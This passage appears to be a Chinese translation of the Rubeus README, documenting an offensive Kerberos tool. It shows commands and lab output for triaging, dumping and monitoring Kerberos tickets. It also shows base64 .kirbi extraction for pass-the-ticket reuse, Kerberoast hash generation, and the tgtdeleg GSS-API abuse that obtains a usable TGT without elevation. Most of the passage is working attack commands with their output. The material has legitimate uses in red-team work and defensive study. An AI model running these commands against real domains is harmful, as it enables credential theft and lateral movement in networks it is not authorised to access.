Tickets (Current User) [0] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL Client Name : harmj0y @ TESTLAB.LOCAL Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable (60a10000) [1] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL Client Name : harmj0y @ TESTLAB.LOCAL Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000) [2] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL Client Name : harmj0y @ TESTLAB.LOCAL Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000) C:\Rubeus>Rubeus.exe purge ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 Luid: 0x0 [*] Action: Purge Tickets [+] Tickets successfully purged! C:\Rubeus>Rubeus.exe klist ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: List Kerberos Tickets (Current User) C:\Rubeus> ``` **提升**清除另一个登录会话: ``` C:\Rubeus>Rubeus.exe triage /luid:0x474722b ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Triage Kerberos Tickets [*] Target LUID : 0x474722b ----------------------------------------------------------------------------------- | LUID | UserName | Service | EndTime | ----------------------------------------------------------------------------------- | 0x474722b | dfm.a @ TESTLAB.LOCAL | krbtgt/testlab.local | 2/11/2019 7:55:18 PM | ----------------------------------------------------------------------------------- C:\Rubeus>Rubeus.exe purge /luid:0x474722b ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 Luid: 0x474722b [*] Action: Purge Tickets [*] Target LUID: 0x474722b [+] Tickets successfully purged! C:\Rubeus>Rubeus.exe triage /luid:0x474722b ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Triage Kerberos Tickets [*] Target LUID : 0x474722b --------------------------------------- | LUID | UserName | Service | EndTime | --------------------------------------- --------------------------------------- ``` ### 描述 **describe** 操作获取一个 `/ticket:X` 值(TGT 或服务票据),对其进行解析,并描述票据的值。与其他 `/ticket:X` 参数一样,该值可以是 .kirbi 文件的 base64 编码或磁盘上 .kirbi 文件的路径。 如果提供的票据是服务票据并且加密类型是 RC4_HMAC,则输出提取的 Kerberoast 兼容哈希。如果票据是服务票据但加密密钥是 AES128/AES256,则显示警告。如果票据是 TGT,则不显示哈希或警告。 可以使用 `/servicekey:X` 参数解密 EncTicketPart(票据的加密部分),这也将验证 PAC 中的 ServerChecksum。`/krbkey:X` 参数也可用于服务票据以验证 KDCChecksum 和 TicketChecksum(如果存在)。 通过传递 `/serviceuser:X` 参数(并且需要 `/servicedomain:X`),可以从 AES256 加密的票据服务票据中形成可破解的“哈希”。 显示有关 TGT 的信息: ``` C:\Rubeus>Rubeus.exe describe /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip).. ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Describe Ticket UserName : dfm.a UserRealm : TESTLAB.LOCAL ServiceName : krbtgt/testlab.local ServiceRealm : TESTLAB.LOCAL StartTime : 2/11/2019 2:55:18 PM EndTime : 2/11/2019 7:55:18 PM RenewTill : 2/18/2019 2:55:18 PM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : e3MxrlTu9jHh9hG43UfiAQ== ``` 显示有关服务票据的信息以及提取的 Kerberoast“哈希”: ``` C:\Rubeus>Rubeus.exe describe /ticket:service_ticket.kirbi ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.1 [*] Action: Describe Ticket UserName : harmj0y UserRealm : TESTLAB.LOCAL ServiceName : asdf/asdfasdf ServiceRealm : TESTLAB.LOCAL StartTime : 2/20/2019 8:58:14 AM EndTime : 2/20/2019 12:41:09 PM RenewTill : 2/27/2019 7:41:09 AM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable KeyType : rc4_hmac Base64(key) : WqGWK4htp7rM1CURpxjMPA== Kerberoast Hash : $krb5tgs$23$*USER$DOMAIN$asdf/asdfasdf*$DEB467BF9C9023E...(snip)... ``` 显示有关 TGT 的信息以及解密的 PAC: ``` C:\Rubeus>Rubeus.exe describe /servicekey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ticket:doIFaDCCBWSgAw...(snip)...HBhY2subG9jYWw= ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Describe Ticket ServiceName : krbtgt/rubeus.ghostpack.local ServiceRealm : RUBEUS.GHOSTPACK.LOCAL UserName : exploitph UserRealm : RUBEUS.GHOSTPACK.LOCAL StartTime : 28/07/2021 21:25:45 EndTime : 29/07/2021 07:25:45 RenewTill : 04/08/2021 21:25:45 Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : Gcf0pE1AVgbbmtSRqJbf9A== Decrypted PAC : LogonInfo : LogonTime : 20/07/2021 22:10:22 LogoffTime : KickOffTime : PasswordLastSet : 14/07/2021 00:50:44 PasswordCanChange : 15/07/2021 00:50:44 PasswordMustChange : EffectiveName : exploitph FullName : Exploit PH LogonScript : ProfilePath : HomeDirectory : HomeDirectoryDrive : LogonCount : 11 BadPasswordCount : 0 UserId : 1104 PrimaryGroupId : 513 GroupCount : 1 Groups : 513 UserFlags : (32) EXTRA_SIDS UserSessionKey : 0000000000000000 LogonServer : PDC1 LogonDomainName : RUBEUS LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039 UserAccountControl : (262672) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION ExtraSIDCount : 1 ExtraSIDs : S-1-18-1 ResourceGroupCount : 0 ClientName : Client Id : 28/07/2021 21:25:45 Client Name : exploitph UpnDns : DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL UPN : exploitph@rubeus.ghostpack.local Flags : 0 ServerChecksum : Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256 Signature : DC220C13C97C5723456DADE2 (VALID) KDCChecksum : Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256 Signature : 32C03715F0B11E3D2EDA3D05 (VALID) ``` 显示有关 AES256 加密服务票据的信息以及提取的 Kerberoast“哈希”: ``` C:\Rubeus>Rubeus.exe describe /serviceuser:exploitph /ticket:doIFSjCCB...(snip)...Vyb2FzdBsCbWU= ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Describe Ticket ServiceName : roast/me ServiceRealm : RUBEUS.GHOSTPACK.LOCAL UserName : harmj0y UserRealm : RUBEUS.GHOSTPACK.LOCAL StartTime : 28/07/2021 21:31:57 EndTime : 29/07/2021 07:31:20 RenewTill : 04/08/2021 21:31:20 Flags : name_canonicalize, pre_authent, renewable KeyType : aes256_cts_hmac_sha1 Base64(key) : T+hpOdnnvvLhnSwup/O/DmYYY3CXVP4kN/Hq5qWWwKg= Kerberoast Hash : $krb5tgs$18$exploitph$RUBEUS.GHOSTPACK.LOCAL$*roast/me*$1063B9C2E8BAB76E5051F5DE $CD5F3403552BD882CBC52389C9851EFD9B7B72174CCA44876DD4E2958FE807B2A899EE33279835D 01BEF12B6FE65174B4BF7B6A5062F45DDBEDA76CF2B122579194B3F1CF3192F982EFE5109B4FF644 FDE4D4A170551B764A699DC4DB3535AE937E24D8D5EF0C980C98D115A6707A1F2583FAAB76FD4514 6957453FAAD213EF28ACED98E72CC909FCC8CB0FD904DE71607BB1C25163EC9512996057CB34950F 40480CABC5CA812B06E461FF3ECAE62022D7BA3500B506AF9BCD557DB987D565FEC8583E5C093AB5 AF7387930AE3DBC0C4197DB75988D0785E90B1C799C1245CBC891BEC5008BFED99A8042214300440 4846C3296A721B546428CA71640B2BDD730ADEDBE6217C572288D904E5F64843148EF30BED8F62A7 A038B770DDD787BBBDCCBC4BF63EAC4C18E596F9A1C21B3265C1D402E84547B5491E4FE8E9B05E10 606773DA47C2570B7B191AE2648C0C467ED242F86C2DC5BD90D5E07D5C3DAACC917E796E5ACB416B 8D980AC30D300016556AEF064DC6C0822D6EAEF41EC5C376E46BE54AB6B85959BDEDF0D15F87AD07 14F8999503F6DEEDC5F1798D7F82FB4A068D1C44A761C44589EAF7E17D4C855893A8C71B2FE309EB 2FE87D36429CF0CA9AA3B02C981F2E6900D0B887EBF1438B3D084963D5AD6B06894A49D3BFED4A19 5CA0A544A6E73B46E85C0B5E6F7230884E44B265A48CB5EFF3EC699B63DF4C5241FC11F2E74953CF DD610C9B3137CD15C716E538F42464A37D2B5F719B6FD0D783509B503E68F46F1FE0E03D12B97B79 6EFB104E093F625894C59BC025273CF0F0B1EF975FF9584AEE227E27304DE545C71B367BEF2EF6DA 22CFF2940387DEA77446B84AC436C7FD273C04247D67334A8D2F2729DE88287BB270D0F495F8EA50 126EA94E7417A4191D080A7284FF2736C704A03EF7F7A044A6E357972A7BAC56AD3775C110A10954 0656CB6759BB61B47B7FF5545A97735279CDB281F632DAD91047FBEC3E98F8B5BC10CA4FFE446186 67BC174CFE97E2262EE8E4651AB460AB2E9A1B214566969FE30BC9A2EEA2BBC79E1ABDBB5A6E8BB6 0EF60EB33DCA0F50682DAB8A2F4AE863F83AD928E8D977AA2079706827B78A0CF37FA2D62EAD3A14 70625022335458E0E84C11786E9A84CAB5A136777B9E8293142D62D96DF9E04AACE6839E13CC54CA B2B7F5752F8CE9544D7076960CCD7D26C8A0E8E9C879A11A44D2BCC607CE15862E29361C786C095C 1EA55D7BD277E581E2488BD3FA4B8E09C331A1E7E3C4BE1C745B59E710362F8EEE9578EF9E5FB34F AAA63C3D7D85000A84A29831B01BD0F4239263FDF59621E57CEE718B29AA2561857C4CD8020AF057 AB5AC097DA90E9B15F6C881F47D95A9F9C15B60EE0B821FDDEB3A9AD4D71E ``` ## 票据提取与收集 票据提取/收集命令的细分: | Command | Description | | ----------- | ----------- | | [triage](#triage) | LUID、用户名、服务目标、票据过期时间 | | [klist](#klist) | 详细的登录会话和票据信息 | | [dump](#dump) | 详细的登录会话和票据数据 | | [tgtdeleg](#tgtdeleg) | 为非提升用户检索可用的 TGT | | [monitor](#monitor) | 监视登录事件并转储新票据 | | [harvest](#harvest) | 与 monitor 相同,但具有自动续订功能 | **注意:** [triage](#triage)/[klist](#klist)/[dump](#dump) 提供的票据详细程度依次增加。 ### 筛选 如果不是提升权限,**triage** 操作将输出当前用户 Kerberos 票据的表格。如果从提升的上下文运行,则显示描述系统上所有 Kerberos 票据的表格。可以使用 `/service:SNAME` 过滤特定服务的票据。 如果是提升权限,可以使用 `/luid:0xA..` 过滤特定 LogonID 的票据,或使用 `/user:USER` 过滤特定用户的票据。这在分类具有大量 Kerberos 票据的系统时很有用。 分类所有可枚举的票据(非提升): ``` C:\Rubeus>Rubeus.exe triage ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: Triage Kerberos Tickets (Current User) [*] Current LUID : 0x4420e ----------------------------------------------------------------------------------------- | LUID | UserName | Service | EndTime | ----------------------------------------------------------------------------------------- | 0x4420e | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM | | 0x4420e | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM | | 0x4420e | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 4:04:14 PM | ----------------------------------------------------------------------------------------- ``` 分类所有可枚举的票据(提升): ``` C:\Rubeus>Rubeus.exe triage ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: Triage Kerberos Tickets (All Users) ------------------------------------------------------------------------------------------------------------- | LUID | UserName | Service | EndTime | ------------------------------------------------------------------------------------------------------------- | 0x56cdda9 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM | | 0x56cdda9 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM | | 0x56cdda9 | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 4:04:14 PM | | 0x56cdd86 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:02 PM | | 0x47869cc | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 3:19:11 PM | | 0x47869cc | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 3:19:11 PM | | 0x47869cc | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 3:19:11 PM | | 0x47869b4 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 3:05:29 PM | | 0x3c4c241 | dfm.a @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/11/2019 4:24:02 AM | | 0x441d8 | dfm.a @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/10/2019 11:41:26 PM | | 0x441d8 | dfm.a @ TESTLAB.LOCAL | LDAP/primary.testlab.local | 2/10/2019 11:41:26 PM | | 0x3e4 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 1:25:01 PM | | 0x3e4 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 1:25:01 PM | | 0x3e4 | windows10$ @ TESTLAB.LOCAL | cifs/PRIMARY.testlab.local | 2/12/2019 1:25:01 PM | | 0x3e4 | windows10$ @ TESTLAB.LOCAL | ldap/primary.testlab.local/testlab.local | 2/11/2019 7:23:48 PM | | 0x3e7 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 2:23:45 PM | | 0x3e7 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 2:23:45 PM | | 0x3e7 | windows10$ @ TESTLAB.LOCAL | cifs/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM | | 0x3e7 | windows10$ @ TESTLAB.LOCAL | WINDOWS10$ | 2/12/2019 2:23:45 PM | | 0x3e7 | windows10$ @ TESTLAB.LOCAL | LDAP/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM | ------------------------------------------------------------------------------------------------------------- ``` 针对特定服务的分类(提升): ``` C:\Rubeus>Rubeus.exe triage /service:ldap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: Triage Kerberos Tickets (All Users) [*] Target service : ldap ----------------------------------------------------------------------------------------------------------- | LUID | UserName | Service | EndTime | ----------------------------------------------------------------------------------------------------------- | 0x441d8 | dfm.a @ TESTLAB.LOCAL | LDAP/primary.testlab.local | 2/10/2019 11:41:26 PM | | 0x3e4 | windows10$ @ TESTLAB.LOCAL | ldap/primary.testlab.local/testlab.local | 2/11/2019 7:23:48 PM | | 0x3e7 | windows10$ @ TESTLAB.LOCAL | LDAP/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM | ----------------------------------------------------------------------------------------------------------- ``` ### klist 如果不是提升权限,**klist** 将列出有关当前用户登录会话和 Kerberos 票据的详细信息。如果从提升的上下文运行,则显示有关所有登录会话和关联的 Kerberos 票据的信息。可以使用 `/luid:0xA..` 显示特定 LogonID 的登录和票据信息(如果是提升权限)。 列出当前(非提升)用户的登录会话和 Kerberos 票据信息: ``` C:\Rubeus>Rubeus.exe klist ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: List Kerberos Tickets (Current User) [*] Current LUID : 0x4420e [0] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 2/12/2019 11:04:14 AM ; 2/12/2019 4:04:14 PM ; 2/19/2019 11:04:14 AM Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL Client Name : harmj0y @ TESTLAB.LOCAL Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable (60a10000) ...(snip)... ``` **提升**列出另一个用户的登录会话/Kerberos 票据信息: ``` C:\Rubeus>Rubeus.exe klist /luid:0x47869b4 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: List Kerberos Tickets (All Users) [*] Target LUID : 0x47869b4 UserName : harmj0y Domain : TESTLAB LogonId : 0x47869b4 UserSID : S-1-5-21-883232822-274137685-4173207997-1111 AuthenticationPackage : Kerberos LogonType : Interactive LogonTime : 2/11/2019 11:05:31 PM LogonServer : PRIMARY LogonServerDNSDomain : TESTLAB.LOCAL UserPrincipalName : harmj0y@testlab.local [0] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 2/11/2019 3:05:31 PM ; 2/11/2019 8:05:31 PM ; 2/18/2019 3:05:31 PM Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL Client Name : harmj0y @ TESTLAB.LOCAL Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000) ...(snip)... ``` ### 转储 如果是提升上下文,**dump** 操作将提取当前的 TGT 和服务票据。如果不是提升权限,则提取当前用户的服务票据。可以使用 `/service`(对 TGT 使用 `/service:krbtgt`)和/或登录 ID(`/luid:0xA..` 参数)过滤生成的提取票据。KRB-CRED 文件(.kirbis)作为 base64 blob 输出,可以与 ptt 函数或 Mimikatz 的 **kerberos::ptt** 功能重用。 **注意:**如果从_非提升_上下文运行,关联 API(默认)不会返回 TGT 的会话密钥,因此只有提取的服务票据可用。如果你想(在一定程度上)解决此问题,请使用 **tgtdeleg** 命令。 提取当前用户可用的服务票据: ``` C:\Rubeus>Rubeus.exe dump ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: Dump Kerberos Ticket Data (Current User) [*] Current LUID : 0x4420e [*] Returned 3 tickets ServiceName : krbtgt/TESTLAB.LOCAL TargetName : krbtgt/TESTLAB.LOCAL ClientName : harmj0y DomainName : TESTLAB.LOCAL TargetDomainName : TESTLAB.LOCAL AltTargetDomainName : TESTLAB.LOCAL SessionKeyType : rc4_hmac Base64SessionKey : AAAAAAAAAAAAAAAAAAAAAA== KeyExpirationTime : 12/31/1600 4:00:00 PM TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable StartTime : 2/11/2019 3:19:15 PM EndTime : 2/11/2019 8:19:13 PM RenewUntil : 2/18/2019 3:19:13 PM TimeSkew : 0 EncodedTicketSize : 1306 Base64EncodedTicket : doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)... ...(snip)... [*] Enumerated 3 total tickets [*] Extracted 3 total tickets ``` 从特定登录会话中**提升**提取票据: ``` C:\Rubeus>Rubeus.exe dump /luid:0x47869cc ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Dump Kerberos Ticket Data (All Users) [*] Target LUID: 0x47869cc UserName : harmj0y Domain : TESTLAB LogonId : 0x47869cc UserSID : S-1-5-21-883232822-274137685-4173207997-1111 AuthenticationPackage : Negotiate LogonType : Interactive LogonTime : 2/11/2019 11:05:31 PM LogonServer : PRIMARY LogonServerDNSDomain : TESTLAB.LOCAL UserPrincipalName : harmj0y@testlab.local [*] Enumerated 3 ticket(s): ServiceName : krbtgt/TESTLAB.LOCAL TargetName : krbtgt/TESTLAB.LOCAL ClientName : harmj0y DomainName : TESTLAB.LOCAL TargetDomainName : TESTLAB.LOCAL AltTargetDomainName : TESTLAB.LOCAL SessionKeyType : rc4_hmac Base64SessionKey : u9DOCzuGKAZB6h/E/9XcFg== KeyExpirationTime : 12/31/1600 4:00:00 PM TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable StartTime : 2/11/2019 3:21:53 PM EndTime : 2/11/2019 8:19:13 PM RenewUntil : 2/18/2019 3:19:13 PM TimeSkew : 0 EncodedTicketSize : 1306 Base64EncodedTicket : doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)... ServiceName : krbtgt/TESTLAB.LOCAL TargetName : krbtgt/TESTLAB.LOCAL ClientName : harmj0y DomainName : TESTLAB.LOCAL TargetDomainName : TESTLAB.LOCAL AltTargetDomainName : TESTLAB.LOCAL SessionKeyType : aes256_cts_hmac_sha1 Base64SessionKey : tKcszT8rdYyxBxBHlkpmJ/SEsfON8mBMs4ZN/29Xv8A= KeyExpirationTime : 12/31/1600 4:00:00 PM TicketFlags : name_canonicalize, pre_authent, initial, renewable, forwardable StartTime : 2/11/2019 3:19:13 PM EndTime : 2/11/2019 8:19:13 PM RenewUntil : 2/18/2019 3:19:13 PM TimeSkew : 0 EncodedTicketSize : 1338 Base64EncodedTicket : doIFNjCCBTKgAwIBBaEDAgEWoo...(snip)... ...(snip)... [*] Enumerated 3 total tickets [*] Extracted 3 total tickets ``` 系统上所有 TGT 的**提升**提取: ``` C:\Rubeus>Rubeus.exe dump /service:krbtgt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Dump Kerberos Ticket Data (All Users) [*] Target service : krbtgt UserName : harmj0y Domain : TESTLAB LogonId : 0x47869cc UserSID : S-1-5-21-883232822-274137685-4173207997-1111 AuthenticationPackage : Negotiate LogonType : Interactive LogonTime : 2/11/2019 11:05:31 PM LogonServer : PRIMARY LogonServerDNSDomain : TESTLAB.LOCAL UserPrincipalName : harmj0y@testlab.local [*] Enumerated 3 ticket(s): ServiceName : krbtgt/TESTLAB.LOCAL TargetName : krbtgt/TESTLAB.LOCAL ClientName : harmj0y DomainName : TESTLAB.LOCAL TargetDomainName : TESTLAB.LOCAL AltTargetDomainName : TESTLAB.LOCAL SessionKeyType : rc4_hmac Base64SessionKey : y4LL+W3KZoOjnwsiwf150g== KeyExpirationTime : 12/31/1600 4:00:00 PM TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable StartTime : 2/11/2019 3:23:50 PM EndTime : 2/11/2019 8:19:13 PM RenewUntil : 2/18/2019 3:19:13 PM TimeSkew : 0 EncodedTicketSize : 1306 Base64EncodedTicket : doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)... ...(snip)... UserName : WINDOWS10$ Domain : TESTLAB LogonId : 0x3e4 UserSID : S-1-5-20 AuthenticationPackage : Negotiate LogonType : Service LogonTime : 2/7/2019 4:51:20 PM LogonServer : LogonServerDNSDomain : testlab.local UserPrincipalName : WINDOWS10$@testlab.local [*] Enumerated 4 ticket(s): ServiceName : krbtgt/TESTLAB.LOCAL TargetName : krbtgt/TESTLAB.LOCAL ClientName : WINDOWS10$ DomainName : TESTLAB.LOCAL TargetDomainName : TESTLAB.LOCAL AltTargetDomainName : TESTLAB.LOCAL SessionKeyType : rc4_hmac Base64SessionKey : 0NgsSyZ/XOCTi9wLR1z9Kg== KeyExpirationTime : 12/31/1600 4:00:00 PM TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable StartTime : 2/11/2019 3:23:50 PM EndTime : 2/11/2019 7:23:48 PM RenewUntil : 2/18/2019 2:23:48 PM TimeSkew : 0 EncodedTicketSize : 1304 Base64EncodedTicket : doIFFDCCBRCgAwIBBaEDAgEWoo...(snip)... ...(snip)... [*] Enumerated 20 total tickets [*] Extracted 9 total tickets ``` ### tgtdeleg **tgtdeleg** 使用 [@gentilkiwi](https://twitter.com/gentilkiwi) 的 [Kekeo](https://github.com/gentilkiwi/kekeo/) 技巧(**tgt::deleg**),该技巧滥用 Kerberos GSS-API 为当前用户检索可用的 TGT,而无需在主机上进行提升。AcquireCredentialsHandle() 用于获取当前用户 Kerberos 安全凭据的句柄,InitializeSecurityContext() 使用 ISC_REQ_DELEGATE 标志和 HOST/DC.domain.com 的目标 SPN 准备发送到 DC 的假委托上下文。这导致 GSS-API 输出中的 AP-REQ 在验证器校验和中包含 KRB_CRED。服务票据会话密从本地 Kerberos 缓存中提取,并用于解密验证器中的 KRB_CRED,从而产生可用的 TGT .kirbi。 如果自动目标/域提取失败,可以使用 `/target:SPN` 指定配置了非约束委派的服务的已知 SPN。 ``` C:\Rubeus>Rubeus.exe tgtdeleg ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Request Fake Delegation TGT (current user) [*] No target SPN specified, attempting to build 'HOST/dc.domain.com' [*] Initializing Kerberos GSS-API w/ fake delegation for target 'HOST/PRIMARY.testlab.local' [+] Kerberos GSS-API initialization success! [+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output. [*] Found the AP-REQ delegation ticket in the GSS-API output. [*] Authenticator etype: aes256_cts_hmac_sha1 [*] Extracted the service ticket session key from the ticket cache: YnEFxPfqw3LdfNvLtdFfzaFf7zG3hG+HNjesy+6R+ys= [+] Successfully decrypted the authenticator [*] base64(ticket.kirbi): doIFNjCCBTKgAwIBBaEDAgEWoo...(snip)... ``` ### 监控 **monitor** 操作将每 `/monitorinterval:X` 秒(默认值为 60)定期提取所有 TGT,并显示任何新捕获的 TGT。可以指定 `/targetuser:USER`,仅返回该用户的票据数据。此功能在启用了非约束委派的服务器上特别有用 ;) 当 `/targetuser:USER`(或如果未指定,则为任何用户)创建新的 4624 登录事件时,将输出任何提取的 TGT KRB-CRED 数据。 `/nowrap` 标志使 base64 编码的票据输出不换行。 如果你希望 **monitor** 运行特定的时间段,请使用 `/runfor:SECONDS`。 此外,如果你希望将输出保存到注册表,请传递 `/registry` 标志并指定 HKLM 下要创建的路径(例如 `/registry:SOFTWARE\MONITOR`)。然后,你可以在运行 Rubeus 后通过 `Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force` 删除此条目。 ``` c:\Rubeus>Rubeus.exe monitor /targetuser:DC$ /interval:10 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.5.0 [*] Action: TGT Monitoring [*] Target user : DC$ [*] Monitoring every 10 seconds for new TGTs [*] 12/21/2019 11:10:16 PM UTC - Found new TGT: User : DC$@THESHIRE.LOCAL StartTime : 12/21/2019 2:44:31 PM EndTime : 12/21/2019 3:44:31 PM RenewTill : 12/28/2019 2:13:06 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : doIFFDCCBRCgAwIBBaEDAgEWoo...(snip)... [*] Ticket cache size: 1 ``` **请注意,此操作需要从提升的上下文运行!** ### 收集 **harvest** 操作将 [monitor](#monitor) 更进一步。它每 `/monitorinterval:X` 秒(默认值为 60)定期提取所有 TGT,提取任何新的 TGT KRB-CRED 文件,并保留任何提取的 TGT 的缓存。每个间隔,将在下一个间隔之前过期的任何 TGT 都会自动续订(直到其续订限制)。每 